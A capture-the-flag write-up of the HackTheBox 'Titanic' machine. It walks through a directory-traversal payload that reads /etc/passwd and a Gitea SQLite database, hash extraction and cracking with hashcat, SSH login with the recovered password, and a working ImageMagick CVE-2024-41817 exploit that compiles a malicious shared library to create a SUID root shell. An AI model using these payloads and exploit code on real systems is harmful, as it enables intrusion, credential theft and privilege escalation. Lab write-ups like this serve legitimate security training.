Titanic – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
“Titanic” is an Easy box from HackTheBox
platform. We find that the victim machine is running a web server with a virtual host running Gitea
, where we are allowed to create a user and see internal repositories. These repositories are the source code for the website running on the server, showing a vulnerable path that allows a Local File Inclusion
. This allow us to download a SQLite
database. We are able to crack a hash from this database for one of the current users and gain access through SSH
to the victim machine. Once inside, we can see a directory apparently executing scripts periodically using a vulnerable Magick
version to CVE-2024–41817. This allow us to inject malicious code, get a shell as root
user and compromise the system.
User Link to heading
A quick Nmap
scan for open TCP
ports show only 2 ports open: 22
SSH
and 80
HTTP
:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.55
Applying some recognition scans from Nmap
over these ports shows:
❯ sudo nmap -sVC -p22,80 10.10.11.55
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 05:04 -03
Nmap scan report for 10.10.11.55
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.45 seconds
From the output we can see a domain: titanic.htb
.
Add this domain to our /etc/hosts
file along with victim machine IP address running into a terminal:
❯ echo '10.10.11.55 titanic.htb' | sudo tee -a /etc/hosts
We use WhatWeb
against the site to identify technologies being used we get:
❯ whatweb -a 3 http://titanic.htb
http://titanic.htb [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.10.11.55], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]
The web server is running on Flask
.
Visit http://titanic.htb
in a web browser. We can see a site about Titanic
ship:
But buttons in the page don’t not work.
We can search then for vhosts
(subdomains) using ffuf
. We also filter by all responses with 20
words to avoid false positives:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://titanic.htb/ -H 'Host: FUZZ.titanic.htb' -fw 20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.titanic.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 472ms]
:: Progress: [4989/4989] :: Job [1/1] :: 146 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
We get a subdomain: dev.titanic.htb
.
Add this new subdomain to our /etc/hosts
file, so now it looks like:
❯ tail -n 1 /etc/hosts
10.10.11.55 titanic.htb dev.titanic.htb
Visiting http://dev.titanic.htb
shows a site with Gitea
:
Gitea
is a forge software package for hosting software development version control using Git
as well as other collaborative featuresWe can create an account there clicking on Register
at the top right. Once created, we can go to the top part and click on Explore
; this redirect us to http://dev.titanic.htb/explore/repos
where we can see some repositories:
We have a flask-app
repository. Since we previously saw the main site http://titanic.htb
was running with flask, this might be the code for the webpage.
Inside this repository we have an app.py
file with the content:
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4
app = Flask(__name__)
TICKETS_DIR = "tickets"
if not os.path.exists(TICKETS_DIR):
os.makedirs(TICKETS_DIR)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}
ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)
with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)
return redirect(url_for('download_ticket', ticket=json_filename))
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
The important part here is:
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
We have a /download
path that accepts GET
method, where its argument is ticket
and a system path.
For example, checking what we get as response if we attempt to download anything we get:
❯ curl -s 'http://titanic.htb/download?ticket=test'
{"error":"Ticket not found"}
It worked. But the ticket was not found.
Since the script was using os.path.exists
to check if the file exists, but it does not sanitize the input, we could attempt a Directory Traversal
and attempt to read /etc/passwd
file:
❯ curl -s 'http://titanic.htb/download?ticket=../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
It worked. We have a Local File Inclusion
.
We have 2 users in the victim machine: root
and developer
:
❯ curl -s 'http://titanic.htb/download?ticket=../../../../../etc/passwd' | grep sh$
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
Checking Gitea documentation shows that Gitea
has a configuration file gitea/conf/app.ini
. We still need a path that shows where this could be stored. If we check the second repository called docker-config
there is a docker-compose.yml
file:
with the content:
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
We have a path: /home/developer/gitea/data
.
Therefore, we could attempt to read the path:
/home/developer/gitea/data/gitea/conf/app.ini
Using cURL
against this path we get:
❯ curl -s 'http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/conf/app.ini'
<SNIP>
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
<SNIP>
To download it, we can go to a web browser like Firefox
and visit:
http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db
This should download a .db
file.
This is an SQLite
file:
❯ mv ~/Downloads/_.._.._.._.._home_developer_gitea_data_gitea_gitea.db ./gitea.db
❯ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 566, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 566
Start reading the database file. We can search for tables that contain password
string:
sqlite> SELECT tbl.name, col.name FROM sqlite_master tbl JOIN pragma_table_info(tbl.name) col WHERE col.name LIKE '%pass%' OR col.name LIKE '%pwd%';
two_factor|last_used_passcode
user|passwd
user|passwd_hash_algo
user|must_change_password
Table user
seems interesting.
Checking its content shows a lot of columns:
sqlite> PRAGMA table_info(user);
0|id|INTEGER|1||1
1|lower_name|TEXT|1||0
2|name|TEXT|1||0
3|full_name|TEXT|0||0
4|email|TEXT|1||0
5|keep_email_private|INTEGER|0||0
6|email_notifications_preference|TEXT|1|'enabled'|0
7|passwd|TEXT|1||0
8|passwd_hash_algo|TEXT|1|'argon2'|0
9|must_change_password|INTEGER|1|0|0
10|login_type|INTEGER|0||0
11|login_source|INTEGER|1|0|0
12|login_name|TEXT|0||0
13|type|INTEGER|0||0
14|location|TEXT|0||0
15|website|TEXT|0||0
16|rands|TEXT|0||0
17|salt|TEXT|0||0
<SNIP>
Here I got flashbacks from Compiled Machine, since in that machine we also had to extract hashes for a Gitea
page with its database. We have salted hashes using PBKDF2
algorithm. Basically, here the important columns are name
for the username, passwd
is the hashed password, passwd_hash_algo
sets the hash algorithm type and salt
is the salt for the user. Additionally, this blog gives an excellent explanation about PBKDF2
hashing algorithm. Searching for pbkdf2 Gitea
yields to this security configuration Cheat-Sheet for Gitea. In Compiled Machine we found that to crack these hashes with Hashcat
we needed the format:
<hashing-algorithm>:<iterations>:<hex-to-base64-salt>:<hex-to-base64-hash>
We extract the needed info to forge the hash then:
sqlite> select lower_name, name, email, passwd, passwd_hash_algo, salt from user;
administrator|administrator|root@titanic.htb|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|2d149e5fbd1b20cf31db3e3c6a28fc9b
developer|developer|developer@titanic.htb|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
gunzf0x|gunzf0x|gunzf0x@titanic.htb|cd9af5c2b59990c3afee0dacc91cdee5c9b11373bd5f77f26edf1652698a431663e3572bc09446a9bf4efee26c92eca712c1|pbkdf2$50000$50|43e3e01bd8707b0a22f42dc10e190d45
We have hashes for 3 users: administrator
, developer
and gunzf0x
(the user we have created to check the repositories in Gitea
).
Extract the needed fields for developer
user, since this user exists in the victim machine:
sqlite> select lower_name, name, email, passwd, passwd_hash_algo, salt from user where name='developer';
developer|developer|developer@titanic.htb|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|8bf3e3452b78544f8bee9400d6936d34
Where the needed properties are:
- The hashing algorithm is
sha256
(from Gitea documentation). - Iterations, as we have seen, are
50000
. - Just pass the salt from hexadecimal to “normal text” and then to
base64
:
❯ echo -n '8bf3e3452b78544f8bee9400d6936d34' | xxd -r -p | base64
i/PjRSt4VE+L7pQA1pNtNA==
- Repeat step 3, but with the password (hash) found:
❯ echo -n 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' | xxd -r -p | base64
5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
Putting all together our crackeable hash is:
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
As a parenthesis, I always recommend to read WriteUps from different sources. For Compiled Machine, 0xdf shows how to create hashes for Gitea with a oneliner automatically:
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
Which returns in this case:
❯ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
administrator:sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
gunzf0x:sha256:50000:Q+PgG9hwewoi9C3BDhkNRQ==:zZr1wrWZkMOv7g2syRze5cmxE3O9X3fybt8WUmmKQxZj41crwJRGqb9O/uJskuynEsE=
Using both methods (automated or “manual”), both hashes for developer
user are the same.
Then, just attempt a Brute Force Password Cracking
with Hashcat
. According to Hashcat example hashes, mode 10900
works. Also add --user
flag to avoid developer:
at the beginning of the hash:
❯ hashcat -m 10900 -a 0 -w 3 -O developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y= /usr/share/wordlists/rockyou.txt --user
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
<SNIP>
We have credentials: developer:25282528
.
Check if these credentials are valid for SSH
with NetExec
:
❯ nxc ssh 10.10.11.55 -u 'developer' -p '25282528'
SSH 10.10.11.55 22 10.10.11.55 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.55 22 10.10.11.55 [+] developer:25282528 Linux - Shell access!
They are valid.
Therefore, log into the victim machine through SSH
with these valid credentials:
❯ sshpass -p '25282528' ssh -o stricthostkeychecking=no developer@10.10.11.55
<SNIP>
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: in** from 10.10.16.5
developer@titanic:~$
We can grab the user flag.
Root Link to heading
Looking for files at /opt
shows 3 directories.
developer@titanic:~$ ls -la /opt
total 20
drwxr-xr-x 5 root root 4096 Feb 7 10:37 .
drwxr-xr-x 19 root root 4096 Feb 7 10:37 ..
drwxr-xr-x 5 root developer 4096 Feb 7 10:37 app
drwx--x--x 4 root root 4096 Feb 7 10:37 containerd
drwxr-xr-x 2 root root 4096 Feb 7 10:37 scripts
We have a directory /opt/app
with content:
developer@titanic:~$ ls -la /opt/app
total 24
drwxr-xr-x 5 root developer 4096 Feb 7 10:37 .
drwxr-xr-x 5 root root 4096 Feb 7 10:37 ..
-rwxr-x--- 1 root developer 1598 Aug 2 2024 app.py
drwxr-x--- 3 root developer 4096 Feb 7 10:37 static
drwxr-x--- 2 root developer 4096 Feb 7 10:37 templates
drwxrwx--- 2 root developer 4096 Feb 19 09:00 tickets
These are just the files we have found at Gitea
repository running in the victim machine, displaying the web server.
At /opt
there was also a scripts
directory. Checking its content we get:
developer@titanic:~$ ls -la /opt/scripts
total 12
drwxr-xr-x 2 root root 4096 Feb 7 10:37 .
drwxr-xr-x 5 root root 4096 Feb 7 10:37 ..
-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh
We have a file /opt/scripts/identify_images.sh
, a Bash
script. Checking its content shows:
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
The script checks for image files (ending with .jpg
) at /opt/app/static/assets/images/
(a path where we have writing permissions as well) and passing all those files to /usr/bin/magick
as argument.
To check if this script is actually being executed we can upload pspy
(which can be downloaded from its Github repository). Pass the binary to the victim machine using scp
:
❯ sshpass -p '25282528' scp ./pspy64 developer@10.10.11.55:/tmp/pspy64
Assign execution permissions to the uploaded binary and execute it:
developer@titanic:~$ chmod +x /tmp/pspy64
developer@titanic:~$ /tmp/pspy64
<SNIP>
But we cannot see anything. Why? Because hidepid
is set as invisible
in the machine:
developer@titanic:~$ mount | grep /proc | grep hidepid
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime,hidepid=invisible)
This means we are not allowed to see processed being executed by other users. So we will have to go “blind”.
If we check the magick
binary version running the script we get:
developer@titanic:~$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
Searching for vulnerabilities for this version we find CVE-2024–41817 with this Github advisory giving a PoC. In short, we could manipulate some paths for this binary leading to arbitrary code execution. Since the script was getting all files from /opt/app/static/assets/images/
, we could attempt to put our malicious payload there. Go to /opt/app/static/assets/images/
and pass the payload there:
developer@titanic:~$ cd /opt/app/static/assets/images/
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x");
exit(0);
}
EOF
Where we have set in the payload the instruction to copy a binary of /bin/bash
and, to that copy, assign SUID
permissions.
After some time our file is there:
developer@titanic:/opt/app/static/assets/images$ ls -la /tmp
total 4452
drwxrwxrwt 14 root root 4096 Feb 19 09:37 .
drwxr-xr-x 19 root root 4096 Feb 7 10:37 ..
drwxrwxrwt 2 root root 4096 Feb 19 08:22 .font-unix
-rwsr-xr-x 1 root root 1396520 Feb 19 09:37 gunzf0x
drwxrwxrwt 2 root root 4096 Feb 19 08:22 .ICE-unix
-rwxr-xr-x 1 developer developer 3104768 Feb 19 09:21 pspy64
<SNIP>
where -rwsr-xr-x
indicates it has SUID
permissions.
We can run this file with owner permissions (root
) using -p
flag:
developer@titanic:/opt/app/static/assets/images$ /tmp/gunzf0x -p
gunzf0x-5.1# whoami
root
GG. We can grab the root
flag at /root
directory.
~Happy Hacking.